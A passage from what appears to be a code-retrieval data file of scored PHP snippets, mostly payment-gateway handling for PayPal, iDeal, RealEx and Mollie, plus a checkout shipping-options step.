load_decline_trans($data);\n }\n }", "title": "" }, { "docid": "083644c10d99042cdcb81ef8fc8e6d45", "score": "0.5512039", "text": "function add_payment($currency, $amount, $invObj, $payment_type, $inputVars, $paymentObj=NULL) {\n $ts = now();\n $inv_id = $invObj->id;\n $res_id = $invObj->res_id;\n \n print_log(\"$ts: add_payment $currency $amount type=$payment_type inv_id=$inv_id res_id=$res_id\", 'payment', LOG_LEVEL_ALWAYS);\n \n $paymentData = array();\n $draft = $invObj->status == INV_STATUS_DRAFT;\n if($order_id = pick_first($inputVars['order_id'], $invObj->order_id, $paymentObj->order_id)) $paymentData['order_id'] = $order_id;\n \n $lineitems = payment_lineitems($invObj, $currency, $amount);\n \n $cur = get_currency_symbol($currency, true);\n if($payment_type != PAYMENT_TYPE_CREDIT_CARD_CAPTURE && $amount <= 0) return array(\"1\", \"Balance = $cur $amount, nothing to collect.\"); // nothing to be collected\n $paymentData['host_id'] = $invObj->host_id;\n\n $copy_vars = array('res_id', 'host_id', 'site_id', 'client_id', 'legal_entity_id');\n foreach($copy_vars as $var) $paymentData[$var] = $invObj->$var;\n\n if(isset($inputVars['payment_type'])) $payment_type = $inputVars['payment_type']; // ovverridden in process_payment for promissory payments\n \n $gateway_id = payment_type2gateway_id($payment_type);\n \n // Collect payment \n switch($payment_type) {\n case PAYMENT_TYPE_PROMISSORY:\n $paymentData['payment_status'] = PAYMENT_STATUS_PENDING;\n $paymentData['payment_currency'] = $currency;\n $paymentData['payment_gross'] = $amount;\n $paymentData['payment_fee'] = 0;\n $paymentData['payment_net'] = $amount;\n $paymentData['payment_notes'] = '';\n break;\n\n case PAYMENT_TYPE_AGENT:\n $paymentData['payment_status'] = PAYMENT_STATUS_COMPLETED;\n $paymentData['payment_currency'] = $currency;\n $paymentData['payment_gross'] = $amount;\n $paymentData['payment_fee'] = 0;\n $paymentData['payment_net'] = $amount;\n $paymentData['payment_notes'] = '';\n break;\n\n case PAYMENT_TYPE_BITCOIN: // if we get here, we're already done (processed in process_payment)\n if($order_id) $orderObj = get_object('payment_order', $order_id);\n if(!$orderObj) {\n $payment_error = \"Could not find order $order_id\";\n } else {\n $paymentObj = find_object('payment', array('order_id' => $order_id));\n if(!$paymentObj) {\n $payment_error = \"Could not find a payment for order $order_id\";\n } else {\n if($paymentObj->payment_status != PAYMENT_STATUS_COMPLETED) {\n $payment_error = \"Payment status for order $order_id is $paymentObj->payment_status (not complete)\";\n } else if($paymentObj->payment_gross >= $orderObj->total) {\n $payment_message = \"Thank you for your payment of \".clean_num($paymentObj->payment_gross).\" BTC. Paid in full.\";\n } else {\n $payment_error = \"Insufficient payment: received $paymentObj->payment_gross vs order $orderObj->total\";\n }\n }\n }\n\n // log\n if($payment_error) print_log(\"get_payment (bitcoin): \".$payment_error, 'payment', LOG_LEVEL_ERROR);\n else print_log(\"get_payment (bitcoin): \".$payment_message, 'payment', LOG_LEVEL_INFO);\n\n return array($payment_error, $payment_message); // payment is already added, so return\n break;\n\n case PAYMENT_TYPE_CREDIT_CARD:\n // echo(\"get_payment: method='$payment_type' type=$paymentType<br>\");\n $paymentAction = $inputVars['payment_action'];\n $paymentData['payment_status'] = strtolower($paymentAction) == 'sale' ? PAYMENT_STATUS_COMPLETED : PAYMENT_STATUS_PENDING; // never pending for cc \"Sale\" payments. Will only be inserted if success (below)\n if($paymentAction == 'Authorization') $payment_type = PAYMENT_TYPE_CREDIT_CARD_AUTH; // set to authorization for internal payment object\n $paymentData['cc_id'] = $inputVars['cc_id'];\n $paymentData['charge_id'] = $inputVars['charge_id'];\n $paymentData['txn_id'] = $inputVars['txn_id'];\n break;\n\n case PAYMENT_TYPE_CREDIT_CARD_CAPTURE:\n require_once(\"paypal/do_capture.inc\");\n $completeType = $inputVars['close_auth'] ? \"Complete\" : \"NotComplete\";\n list($charge_error, $dp_msg, $resArray) = do_capture($currency, $amount, $completeType, $inputVars['capture_note'], $paymentObj);\n if($charge_error) {\n $payment_error = $dp_msg;\n } else { // successfully captured payment\n $payment_id = $paymentObj->id;\n $payment_message = $dp_msg;\n $paymentData['payment_status'] = PAYMENT_STATUS_COMPLETED;\n // $paymentData['payment_status'] = $resArray['PAYMENTSTATUS'];\n $paymentData['payment_currency'] = $resArray['CURRENCYCODE'];\n $paymentData['payment_gross'] = $resArray['AMT'];\n $paymentData['payment_fee'] = $resArray['FEEAMT'];\n $paymentData['payment_net'] = $resArray['AMT'] - $resArray['FEEAMT'];\n $paymentData['payment_notes'] = $inputVars['capture_note'];\n //$paymentData['settle_currency'] = $resArray[''];\n $paymentData['settle_amount'] = $resArray['SETTLEAMT'];\n $paymentData['exchange_rate'] = $resArray['EXCHANGERATE'];\n $paymentData['charge_id'] = $resArray['charge_id'];\n $paymentData['cc_id'] = $inputVars['cc_id'];\n $paymentData['txn_id'] = $resArray['TRANSACTIONID'];\n // $paymentData['parent_id'] = $paymentObj->id; // todo: later allow multiple capture on one parent payment\n }\n break;\n\n case PAYMENT_TYPE_IDEAL:\n // echo(\"get payment : ideal\");\n // dump($inputVars);\n $errors = $messages = array();\n $txn_id = $inputVars['transaction_id'];\n $partner_id = $inputVars['partner_id'];\n if(!$txn_id) return array(0, \"iDeal: missing transaction ID\", '');\n if(!$partner_id) return array(0, \"iDeal: missing partner ID\", '');\n\n $messages[] = \"iDeal: OK, returned with transaction id $txn_id\";\n \n // processing sometimes happens first in the background (/ideal/return.php) - check for this\n if($txObj = find_object('transaction', array('tx_gateway' => 'IDEAL', 'txn_id' => $txn_id))) {\n $tx_id = $txObj->tx_id; // return value: our tx id - check in get_payment\n $messages[] = \"Found transaction $tx_id with txn = $txn_id\";\n if($txObj->tx_st == TX_ST_OK) {\n $messages[] = \"Transaction OK: \".$txObj->tx_notes;\n } else {\n $errors[] = \"Transaction not verified: \".$txObj->tx_notes;\n }\n }\n if($paymentObj = find_object('payment', array('payment_type' => PAYMENT_TYPE_IDEAL, 'txn_id' => $txn_id))) {\n $payment_id = $paymenObj->id;\n $messages[] = \"Found payment $payment_id with txn = $txn_id\";\n //return array($payment_id, \"iDeal: a payment already exists with transaction ID $txn_id\", '');\n } \n\n if(!$paymentObj && !$txObj) { // wasn't entered yet, check with mollie\n $messages[] = \"Checking payment with bank...\";\n list($ideal_error, $ideal_message) = ideal_return($partner_id, $txn_id, $amount_eur, $test); // verify if payment is OK\n \n //if($payment_id = find_object('payment', array('txn_id' => $txn_id), 'id')) return array($payment_id, \"iDeal: a payment already exists with transaction ID $txn_id\", '');\n //$amount_eur = $currency == 'EUR' ? $amount : $inputVars['amount_eur'];\n if($ideal_error) $errors[] = \"iDeal:\".$ideal_error ;\n if($ideal_message) $messages[] = \"iDeal:\".$ideal_message;\n // echo(\"Couldn't find our tx with $txn_id ideal returneded:<br>\");dump($errors);dump($messages); \n }\n // we're done, payment is added above, so just return\n return array($payment_id, implode(html_break(), $errors), implode(html_break(), $messages));\n break;\n \n case PAYMENT_TYPE_PAYPAL:\n $token = $inputVars['token']; \n if(!$token) return array(0, \"PayPal: missing token\", '');\n print_log(\"Returned from PayPal with token $token - calling get_express_checkout\\n\", 'paypal', LOG_LEVEL_INFO); \n require_once(\"/paypal/do_express_checkout.inc\");\n $payerID = $inputVars['PayerID'];\n if($details = get_express_checkout($token)) { // first, get the payment details (address, fees, etc.)\n list($error_code, $pp_error) = get_payment_error($details);\n if($pp_error) {\n $errors[] = $pp_error;\n } else { // own error checking\n if($details['PAYERID'] != $payerID) {$errors[]= \"Payer ID mismatch.\"; break;} \n if($details['AMT'] != $amount) {$errors[]= \"Amount mismatch.\"; break;} \n if($details['CURRENCYCODE'] != $currency) {$errors[]= \"Currency mismatch.\"; break;}\n }\n if($errors) return array(0, implode(html_break(), $errors), ''); // \"get_express_checkout failed.\";\n $resArray['PayerID'] = $payerID; // return value\n } else {\n print_log(\"get_express_checkout failure\".PHP_EOL, 'paypal', LOG_LEVEL_ERROR); \n return array(0, \"PayPal: checkout failure\", ''); // \"get_express_checkout failed.\"; \n } \n print_log(\"Returned from get_express_checkout with PayerID $payerID - calling do_express_checkout\".PHP_EOL, 'paypal', LOG_LEVEL_INFO); \n\n $paymentType = \"Sale\";\n print_log(\"Calling do_express_checkout\\n\", 'paypal', LOG_LEVEL_INFO); \n list($charge_error, $charge_message, $resArray) = do_express_checkout($currency, $amount, $invObj, $inputVars, array('lineitems' => $lineitems));\n print_log(\"Returned from do_express_checkout with resArray\".dump($resArray,true).PHP_EOL, 'paypal', LOG_LEVEL_INFO); \n if($charge_error) {\n print_log(\"Returned from do_express_checkout with error $charge_error\".PHP_EOL, 'paypal', LOG_LEVEL_INFO); \n return array(0, $charge_error, ''); // prevent adding payment below\n } else {\n $payment_message = $charge_message;\n //echo(\"got here\");\n // dump($resArray);\n $paymentData['payment_status'] = $resArray['PAYMENTSTATUS']=='Completed' ? PAYMENT_STATUS_COMPLETED : PAYMENT_STATUS_PENDING;\n $paymentData['payment_currency'] = $resArray['CURRENCYCODE'];\n $paymentData['payment_gross'] = $resArray['AMT'];\n $paymentData['payment_fee'] = $resArray['FEEAMT'];\n $paymentData['payment_net'] = $resArray['AMT'] - $resArray['FEEAMT'];\n $paymentData['payment_notes'] = $resArray['NOTE'];\n //$paymentData['settle_currency'] = $resArray[''];\n $paymentData['settle_amount'] = $resArray['SETTLEAMT'];\n $paymentData['exchange_rate'] = $resArray['EXCHANGERATE'];\n $paymentData['txn_id'] = $resArray['TRANSACTIONID'];\n print_log(\"Returned from do_express_checkout with status $resArray[PAYMENTSTATUS] for $resArray[CURRENCYCODE] $resArray[AMT]\\n\", 'paypal', LOG_LEVEL_INFO); \n\n }\n break;\n\n case PAYMENT_TYPE_REFUND:\n list($payment_currency, $payment_amount) = payment_currency_amount($paymentObj);\n\n $refund_currency = $payment_currency; // refund in same currency as payment\n $refund_amount = $currency == $payment_currency ? $amount : round(($payment_amount / $paymentObj->amount) * $amount, 2);\n\n $tx_id = $paymentObj->tx_id;\n $txObj = $tx_id ? get_object('transaction', $tx_id) : null;\n $notes = $inputVars['refund_note'];\n $refundType = $amount < $paymentObj->amount ? 'Partial' : 'Full';\n \n if($txObj->tx_gateway == 'PAYPAL') { // is this PayPal - if so, send message to PayPal\n // echo(\"tx_id=$tx_id gateway=$txObj->tx_gateway<br>\");\n $gateway_id = GATEWAY_PAYPAL;\n // issue refund\n require_once(\"paypal/do_refund.inc\");\n list($charge_error, $dp_msg, $resArray) = do_refund($refund_currency, $refund_amount, $refundType, $notes, $paymentObj);\n if($charge_error) {\n $payment_error = $dp_msg;\n } else { // successfully captured payment\n $paymentData['txn_id'] = $resArray['REFUNDTRANSACTIONID'];\n $paymentData['payment_fee'] = -1 * $resArray['FEEREFUNDAMT'];\n $paymentData['payment_gross'] = -1 * $resArray['GROSSREFUNDAMT'];\n $paymentData['payment_net'] = -1 * $resArray['NETREFUNDAMT'];\n }\n }\n \n if(!$payment_error) {\n $paymentData['parent_id'] = $paymentObj->id;\n $paymentData['description'] = $paymentObj->description;\n $paymentData['cc_id'] = $paymentObj->cc_id;\n $paymentData['payment_notes'] = $notes;\n $paymentData['payment_status'] = PAYMENT_STATUS_COMPLETED;\n \n // dump($paymentData);\n \n // update original payment as refunded to prevent further refunds; todo - allow partial refund\n $sum_refund = sum_refund($paymentObj->id);\n $orgpay_status = $sum_refund + $amount >= $paymentObj->amount ? PAYMENT_STATUS_REFUNDED : PAYMENT_STATUS_PARTIALLY_REFUNDED;\n \n $amount = -1 * $amount; \n \n // todo: remove comment\n list($pay_id, $pay_errors) = update_object('payment', array('payment_status' => $orgpay_status), $paymentObj->id); \n }\n break;\n \n default:\n die(\"get_payment: unknown paymentType: '$payment_type'\"); \n }\n \n \n if($payment_error) {\n print_log(\"add_payment error: \".$payment_error.PHP_EOL, 'payment', LOG_LEVEL_ERROR);\n return array(0, $payment_error, $payment_message);\n }\n \n if($draft) {\n list($inv_id, $send_errors) = finalize_invoice($invObj); // moves draft_invoice to open invoice\n } else {\n $inv_id = $invObj->id;\n }\n \n // Success? Then add payment \n if($send_errors) {\n $payment_error = \"Send Invoice:\".implode(' - ', $send_errors);\n print_log(\"finalize_invoice error: \".$payment_error.PHP_EOL, 'payment', LOG_LEVEL_ERROR);\n } else {\n //echo(\"sent invoice - new id = $new_inv_id<br>\"); \n // dump($paymentData);\n \n $paymentData['payment_type'] = $payment_type;\n $payment_errors = array();\n if($payment_id) { // update payment (Capture)\n list($payment_id, $payment_errors) = update_object('payment', $paymentData, $payment_id);\n } else { // add new payment\n if($gateway_id) $paymentData['gateway_id'] = $gateway_id; \n $paymentData['site_id'] = $site_id;\n $paymentData['inv_id'] = $inv_id;\n $paymentData['res_id'] = $invObj->res_id;\n $paymentData['currency'] = $currency;\n $paymentData['amount'] = $amount;\n\n $paymentData['description'] = addslashes($invObj->concerning);\n\n if($resArray['CURRENCYCODE'] && ($resArray['CURRENCYCODE'] != $currency)) { // store actual charged currency with payment object (PayPal or CC)\n $paymentData['payment_currency'] = $resArray['CURRENCYCODE'];\n $paymentData['payment_gross'] = $resArray['AMT']; \n }\n\n if($invObj->type == INV_TYPE_BLOCK) { // this is a block invoice, add dummy payments for all children \n $childTotal = array();\n foreach($lineitems as $lineitem) $childTotal[$lineitem->inv_id] += $lineitem->total;\n //dump($childTotal);\n $keys = array('payment_status', 'description', 'currency', 'concerning', 'payment_notes', 'gateway_id', 'block_id');\n $childPaymentData = array_copy($paymentData, $keys);\n\n $childPaymentData['description'] .= \" - partial\";\n $childPaymentData['payment_type'] .= PAYMENT_TYPE_BLOCK;\n foreach($childTotal as $child_inv_id => $child_amount) {\n $childPaymentData['inv_id'] = $child_inv_id;\n $childPaymentData['res_id'] = get_object('invoice', $child_inv_id, 'res_id');\n $childPaymentData['amount'] = $child_amount;\n //dump($childPaymentData);\n list($child_payment_id, $child_payment_errors) = add_object('payment', $childPaymentData);\n if($child_payment_errors) $payment_errors = array_merge($payment_errors, $child_payment_errors); \n } \n unset($paymentData['res_id']); // don't count block payment towards individual reservation\n }\n\n //dump($paymentData);\n //echo(\"get_payment: adding payment<br>\");return array($payment_error, $payment_message);\n //print_log(\"All good, adding payment\".PHP_EOL, 'payment', LOG_LEVEL_INFO);\n print_log(\"$ts: add_payment All good, adding payment with data:\".dump($paymentData, true), 'payment', LOG_LEVEL_ALWAYS);\n \n list($payment_id, $payment_errors) = add_object('payment', $paymentData);\n } \n if($payment_errors) {\n $payment_error = implode(html_break(), $payment_errors);\n //dump($payment_errors);\n } else {\n print_log(\"Added payment $payment_id\".PHP_EOL, 'payment', LOG_LEVEL_INFO);\n //echo(\"added payment $payment_id<br>$output\");\n if($txObj && !$txObj->payment_id) { // update transaction with payment id\n list($tx_id, $tx_errors) = update_object('transaction', array('payment_id' => $payment_id), $txObj->tx_id);\n }\n }\n }\n\n if($payment_error) print_log(\"get_payment error: \".$payment_error.PHP_EOL, 'payment', LOG_LEVEL_ERROR);\n else print_log(\"get_payment message: \".$payment_message.PHP_EOL, 'payment', LOG_LEVEL_INFO);\n\n return array($payment_id, $payment_error, $payment_message);\n}", "title": "" }, { "docid": "360d77b67bdd87b82d2db3ed375b14d2", "score": "0.5505215", "text": "public function anyPrepare()\n {\n //$this->app->session->start();\n //$data = $this->app->session->get(\"api\");\n //var_dump($data);\n\n if (!$this->app->rem->hasDataset()) {\n $this->app->rem->init();\n }\n }", "title": "" }, { "docid": "b7b6e8a9ffd1971299186636e5533508", "score": "0.55023986", "text": "function handle_payment_return() {\n\n\t\t//var_dump( $_POST );\n\n\t\tif( empty( $_POST['TIMESTAMP'])) {\n\t\t\techo '<p>RealEx Response Error: Invalid RealEx response</p>';\n\t\t\techo '<p><a href=\"'.get_site_url().'\">'.__('Continue', 'emp-pro').'</a>';\n\t\t\texit;\n\t\t}\n\n\t\t/*\n\t\t Note:The below code is used to grab the fields Realex Payments POSTs back\n\t\t to this script after a card has been authorised. Realex Payments need\n\t\t to know the full URL of this script in order to POST the data back to this\n\t\t script. Please inform Realex Payments of this URL if they do not have it\n\t\t already.\n\n\t\t Look at the Realex Documentation to view all hidden fields Realex POSTs back\n\t\t for a card transaction.\n\t\t*/\n\t\t$timestamp = $_POST['TIMESTAMP'];\n\t\t$result = $_POST['RESULT'];\n\t\t$orderid = $_POST['ORDER_ID'];\n\t\t$message = $_POST['MESSAGE'];\n\t\t$authcode = $_POST['AUTHCODE'];\n\t\t$pasref = $_POST['PASREF'];\n\t\t$realexmd5 = $_POST['MD5HASH'];\n\n\t\t$merchantid = get_option('em_'. $this->gateway . \"_merchant_id\" );\n\t\t$secret = get_option('em_'. $this->gateway . \"_shared_secret\" );\n\t\t$currency \t= get_option('dbem_bookings_currency', 'GBP');\n\n\t\t//---------------------------------------------------------------\n\t\t//Below is the code for creating the digital signature using the md5 algorithm.\n\t\t//This digital siganture should correspond to the\n\t\t//one Realex Payments POSTs back to this script and can therefore be used to verify the message Realex sends back.\n\t\t$tmp = \"$timestamp.$merchantid.$orderid.$result.$message.$pasref.$authcode\";\n\t\t$md5hash = md5($tmp);\n\t\t$tmp = \"$md5hash.$secret\";\n\t\t$md5hash = md5($tmp);\n\n\t\t//Check to see if hashes match or not\n\t\tif ($md5hash != $realexmd5) {\n\t\t\techo \"RealEx Response Error: hashes don't match - response not authenticated!\";\n\t\t\techo '<p><a href=\"'.get_site_url().'\">'.__('Continue', 'emp-pro').'</a>';\n\t\t\texit;\n\t\t}\n\n\t\t/* --------------------------------------------------------------\n\t\t send yourself an email or send the customer an email or update a database or whatever you want to do here.\n\n\t\t The next part is important to understand. The result field sent back to this\n\t\t response script will indicate whether the card transaction was successful or not.\n\t\t The result 00 indicates it was while anything else indicates it failed.\n\t\t Refer to the Realex Payments documentation to get a full list to response codes.\n\n\n\t\tIMPORTANT: Whatever this response script prints is grabbed by Realex Payments\n\t\tand placed in the template again. It is placed wherever the comment \"<!--E-PAGE TABLE HERE-->\"\n\t\tis in the template you provide. This is the case so that from a customer's perspective, they are not suddenly removed from\n\t\ta secure site to an unsecure site. This means that although we call this response script the\n\t\tcustomer is still on Realex PAyemnt's site and therefore it is recommended that a HTML link is\n\t\tprinted in order to redirect the customrer back to the merchants site.\n\t\t*/\n\n\n\t\t// Load Booking\n\t\t$orderid = substr( $orderid, 0, strpos($orderid, '-') );\n\t\t$EM_Booking = new EM_Booking( $orderid );\n\n\t\tif( !empty($EM_Booking->booking_id) ){\n\n\t\t\tif ($result == \"00\") {\n\n\t\t\t\t$EM_Booking->booking_meta[$this->gateway] = array('txn_id'=>$pasref, 'amount' => $EM_Booking->get_price(false, false, true));\n\t\t $this->record_transaction($EM_Booking, $EM_Booking->get_price(false, false, true), $currency, $timestamp, $authcode, 'Completed', $message);\n\n\t \t//Set booking status, but no emails sent\n\t\t\t\tif( !get_option('em_'.$this->gateway.'_manual_approval', false) || !get_option('dbem_bookings_approval') ){\n\t\t\t\t\t$EM_Booking->approve(); //Approve\n\t\t\t\t}else{\n\t\t\t\t\t$EM_Booking->set_status(0, false); //Set back to normal \"pending\"\n\t\t\t\t}\n\n\t\t\t\t// Redirect to custom page, or default thanks message\n\t\t\t\t$redirect = get_option('em_'. $this->gateway . '_return_success');\n\t\t\t\tif( empty( $redirect ) ) {\n\t\t\t\t\t$redirect = get_permalink(get_option(\"dbem_my_bookings_page\")).'?thanks=1';\n\t\t\t\t}\n\n\t\t\t\techo '<p>'.get_option('em_'.$this->gateway.'_booking_feedback_thanks').'</p>';\n\t\t\t\techo '<p><a href=\"'.$redirect.'\">'.__('Continue', 'emp-pro').'</a>';\n\n\t\t\t} else {\n\t\t $this->record_transaction($EM_Booking, $EM_Booking->get_price(false, false, true), $currency, $timestamp, $authcode, $result, $message);\n\n\t\t $EM_Booking->cancel();\n\t\t do_action( 'em_payment_'.strtolower($strStatus), $EM_Booking, $this);\n\n\t\t\t\t// Redirect to custom page, or my bookings with error\n\t\t\t\t$redirect = get_option('em_'. $this->gateway . '_return_fail');\n\n\t\t\t\tif( empty( $redirect ) ) {\n\t\t\t\t\t$redirect = get_permalink(get_option(\"dbem_my_bookings_page\")).'?fail='.$result;\n\t\t\t\t}\n\n\t\t\t\techo '<p>'.get_option('em_'.$this->gateway.'_booking_feedback_fail').'</p>';\n\t\t\t\techo '<a href=\"'.$redirect.'\">'.__('Continue', 'emp-pro').'</a>';\n\t\t\t}\n\t\t}else{\n\t\t\tif( $result == \"00\" ){\n\n\t\t\t\t$message = apply_filters('em_gateway_paypal_bad_booking_email',\"\nA Payment has been received by RealEx for a non-existent booking.\n\nEvent Details : %event%\n\nIt may be that this user's booking has timed out yet they proceeded with payment at a later stage.\n\nTo refund this transaction, you must go to your RealEx account and search for this transaction:\n\nTransaction ID : %transaction_id%\n\nWhen viewing the transaction details, you should see an option to issue a refund.\n\nIf there is still space available, the user must book again.\n\nSincerely,\nEvents Manager\n\t\t\t\t\t\", $booking_id, $event_id);\n\n\t\t\t\tif( !empty($event_id) ){\n\t\t\t\t\t$EM_Event = new EM_Event($event_id);\n\t\t\t\t\t$event_details = $EM_Event->name . \" - \" . date_i18n(get_option('date_format'), $EM_Event->start);\n\t\t\t\t}else{\n\t\t\t\t\t$event_details = __('Unknown','em-pro');\n\t\t\t\t}\n\t\t\t\t$message = str_replace(array('%transaction_id%', '%event%'), array($strVPSTxId, $event_details), $message);\n\t\t\t\twp_mail(get_option('em_'. $this->gateway . \"_email\" ), __('Unprocessed payment needs refund'), $message);\n\t\t\t}else{\n\t\t\t\techo 'Error: Bad RealEx request, custom ID does not correspond with any pending booking.';\n\t\t\t\texit;\n\t\t\t}\n\t\t}\n\t\treturn;\n\t}", "title": "" }, { "docid": "346662e5030f3100369d0f98807dfd30", "score": "0.54988545", "text": "public function getData()\n {\n $Locale = Locale::getCurrentLocale();\n $Locale = explode(\"_\",$Locale->Locale)[0];\n //throw new Exception('Not implemented');\n return '{\n \"payment\": {\n \"merchant-account-id\": {\n \"value\": \"' . $this->getMerchantAccountID() . '\"\n },\n \"account-holder\": {\n \"first-name\": \"' . $this->getBillingFirstname() . '\",\n \"last-name\": \"' . $this->getBillingSurname() . '\"\n },\n \"request-id\": \"' . $this->getTransactionID() . '\",\n \"requested-amount\": {\n \"value\": ' . $this->getChargeAmount() . ',\n \"currency\": \"' . $this->getChargeCurrency() . '\"\n },\n \"transaction-type\": \"' . $this->getTransactionType() . '\",\n \"three-d\": {\n \"attempt-three-d\": \"true\"\n },\n \"locale\": \"'.$Locale.'\",\n \"notifications\": {\n \"format\": \"application/xml\",\n \"notification\": [\n {\n \"url\": \"' . $this->getNotifyURL() . '\"\n }\n ]\n },\n \"payment-methods\": {\n \"payment-method\": [\n {\n \"name\": \"' . $this->getPaymentType() . '\"\n }\n ]\n },\n \"descriptor\": \"Esta Application\",\n \"success-redirect-url\": \"' . $this->getSuccessURL() . '\",\n \"fail-redirect-url\": \"' . $this->getFailURL() . '\",\n \"cancel-redirect-url\": \"' . $this->getCancelUrl() . '\"\n }\n }';\n }", "title": "" }, { "docid": "0c9f270f4de5a524d93b50ccc75a0203", "score": "0.5494477", "text": "public function init($request)\n {\n \t$this->setMerchantReference($request->merchant_reference);\n \tsession(['amount'=>$request->amount]);\n \tsession(['customer_name'=>$request->customer_name]);\n \tsession(['customer_email'=>$request->customer_email]);\n \tsession(['order_description'=>$request->order_description]);\n \t$this->setSignature();\n \treturn $this->callAPI();\n }", "title": "" }, { "docid": "8e935112aeac30b8b7bb75db1438b807", "score": "0.54888606", "text": "protected function prepareForValidation()\n {\n $this->merge([\n 'cliente' => $this->cliente,\n 'produto' => $this->produto,\n 'quantidade' => $this->quantidade,\n 'valor_unitario' => convertMoneyToDatabase($this->valor_unitario),\n 'valor_total' => convertMoneyToDatabase($this->valor_total)\n ]);\n }", "title": "" }, { "docid": "aebdb85477a4724150843ff398162908", "score": "0.54826224", "text": "protected function initData()\n {\n $data = $this->cache->load($this->cacheId);\n if (false === $data) {\n $singleQuery = $this->config->getConnectionName('checkout_setup') == 'default' ? true : false;\n $data['checkout'] = $singleQuery;\n $this->cache->save($this->serializer->serialize($data), $this->cacheId, $this->cacheTags);\n } else {\n $data = $this->serializer->unserialize($data);\n }\n $this->merge($data);\n }", "title": "" }, { "docid": "4ffd34838d05df6342aae451e7475aa8", "score": "0.54696405", "text": "protected function prepareData()\n {\n $this->form = new CatSymbolForm();\n ;\n $this->customContent .= $this->form->apply();\n }", "title": "" }, { "docid": "a81b2885b3ef78c456a22e6745dc0ee5", "score": "0.5468482", "text": "public function preparePayment(Request $request)\n {\n \n\n $payment = Mollie::api()->payments()->create([\n 'amount' => [\n 'currency' => 'EUR', // Type of currency you want to send\n 'value' => '7.99', // You must send the correct number of decimals, thus we enforce the use of strings\n ],\n 'description' => 'Payment to Bazoeki',\n \"webhookUrl\" => route('webhooks.mollie'),\n 'redirectUrl' => route('payment.success'), // after the payment completion where you to redirect\n ]);\n \n $payment = Mollie::api()->payments()->get($payment->id);\n\n \n \n // redirect customer to Mollie checkout page\n return redirect($payment->getCheckoutUrl(), 303);\n\n\n }", "title": "" }, { "docid": "90292859fd1b3749eabacc68d4a9f3d5", "score": "0.5447078", "text": "public function process($data, $prepare_result)\n { $config = $this->getCheckoutConfig();\n if (empty($config['shipping']['used'])) {\n $result = $this->addRenderedHtml([\n 'disabled' => true,\n ], $data, []);\n return array(\n 'result' => $result,\n 'errors' => [],\n 'can_continue' => true,\n );\n }\n\n $address = [\n 'country' => ifset($data, 'result', 'region', 'selected_values', 'country_id', null),\n 'region' => ifset($data, 'result', 'region', 'selected_values', 'region_id',\n ifset($data, 'result', 'region', 'selected_values', 'region', null)\n ),\n 'city' => ifset($data, 'result', 'region', 'selected_values', 'city_id',\n ifset($data, 'result', 'region', 'selected_values', 'city', null)\n ),\n 'zip' => ifset($data, 'result', 'region', 'selected_values', 'zip', null),\n ];\n\n $errors = [];\n if (!$config['shipping']['ask_zip']) {\n unset($address['zip']);\n\n //\n // When checkout is set up not to ask ZIP code at Region step,\n // but user already entered it at Details step,\n // use that ZIP code to calculate list of shipping variants.\n //\n\n // Try to get ZIP code from Details step data\n $zip_from_future = ifset($data, 'input', 'details', 'shipping_address', 'zip', null);\n\n // Try to get ZIP code from session storage\n if (!$zip_from_future) {\n $storage = $this->getCheckoutConfig()->getStorage();\n $stored_address = $storage->get('details_address');\n $zip_from_future = ifset($stored_address, 'zip', null);\n }\n\n if ($zip_from_future) {\n $address['zip'] = $zip_from_future;\n }\n }\n\n if (empty($address['country']) || empty($address['region']) || empty($address['city'])) {\n // This cannot happen. It means previous step did not properly validate shipping region selection,\n // or a plugin interfered and broke things, or some other terrible stuff occurred. Like, Godzilla. Blame Godzilla.\n $errors[] = [\n 'id' => 'general',\n 'text' => 'Unable to prepare list of shipping options because shipping region is not properly selected.',\n 'section' => $this->getId(),\n ];\n return array(\n 'data' => $data,\n 'result' => $this->addRenderedHtml([], $data, $errors),\n 'errors' => $errors,\n 'can_continue' => false,\n );\n }\n\n /** @var shopOrder $order we take cart items from there */\n $order = $data['order'];\n\n // Before fetching order items, we need to apply discounts.\n // We ask shopOrder to do that. This has a side effect of gathering data\n // into $order->items, which is what we use.\n $order->discount;\n\n // Discount calculation above may also have had another side effect.\n // Discount plugins are allowed to reset shipping cost to 0. We have to take note of that.\n // Alternatively, client may have endered a free shipping coupon.\n $is_free_shipping = ifempty($data, 'order', 'coupon', 'type', '') === '$FS';\n if ($order->shipping !== null) {\n if (!$is_free_shipping && $order->shipping == 0) {\n $is_free_shipping = true;\n }\n }\n\n // Order items to pass to shipping plugins to calculate rates\n $items = $order->items;\n\n /** @var waContact $contact */\n $contact = $data['contact'];\n $customer_type = $contact['is_company'] ? shopCheckoutConfig::CUSTOMER_TYPE_COMPANY : shopCheckoutConfig::CUSTOMER_TYPE_PERSON;\n\n // Fetch list of shipping plugins enabled for current storefront\n // Ask them to provide shipping variants using $address given\n $services_flat = array();\n $rates = $config->getShippingRates($address, $items, $customer_type);\n foreach ($rates as $id => $rate) {\n if (isset($rate['type'])) {\n $services_flat[$id] = $rate;\n }\n }\n\n if (!$services_flat) {\n $errors[] = [\n 'id' => 'empty_region_options',\n 'text' => _w('No shipping options available for selected region.'),\n 'section' => $this->getId(),\n ];\n return array(\n 'data' => $data,\n 'result' => $this->addRenderedHtml([], $data, $errors),\n 'errors' => $errors,\n 'can_continue' => false,\n );\n }\n\n //\n // Convert variants for template\n //\n $shipping_types = [\n 'pickup' => [\n 'id' => 'pickup',\n 'is_selected' => false,\n 'name' => $config['shipping']['pickuppoint_name'],\n 'rate_min' => null, // null|number\n 'rate_max' => null, // null|number\n 'currency' => $data['order']['currency'],\n 'date_min' => null, // null|'Y-m-d H:i:s'\n 'date_max' => null, // null|'Y-m-d H:i:s'\n 'date_min_ts' => null, // null|int\n 'date_max_ts' => null, // null|int\n 'date_formatted' => '',\n 'variants' => [],\n ],\n 'todoor' => [\n 'id' => 'todoor',\n 'is_selected' => false,\n 'name' => $config['shipping']['courier_name'],\n 'rate_min' => null,\n 'rate_max' => null,\n 'currency' => $data['order']['currency'],\n 'date_min' => null,\n 'date_max' => null,\n 'date_min_ts' => null,\n 'date_max_ts' => null,\n 'date_formatted' => '',\n 'variants' => [],\n ],\n 'post' => [\n 'id' => 'post',\n 'is_selected' => false,\n 'name' => $config['shipping']['post_name'],\n 'rate_min' => null,\n 'rate_max' => null,\n 'currency' => $data['order']['currency'],\n 'date_min' => null,\n 'date_max' => null,\n 'date_min_ts' => null,\n 'date_max_ts' => null,\n 'date_formatted' => '',\n 'variants' => [],\n ],\n ];\n\n $selected_type_id = null;\n $selected_variant_id = ifset($data, 'input', 'shipping', 'variant_id', null);\n if (empty($selected_variant_id)) {\n $selected_type_id = ifset($data, 'input', 'shipping', 'type_id', null);\n if 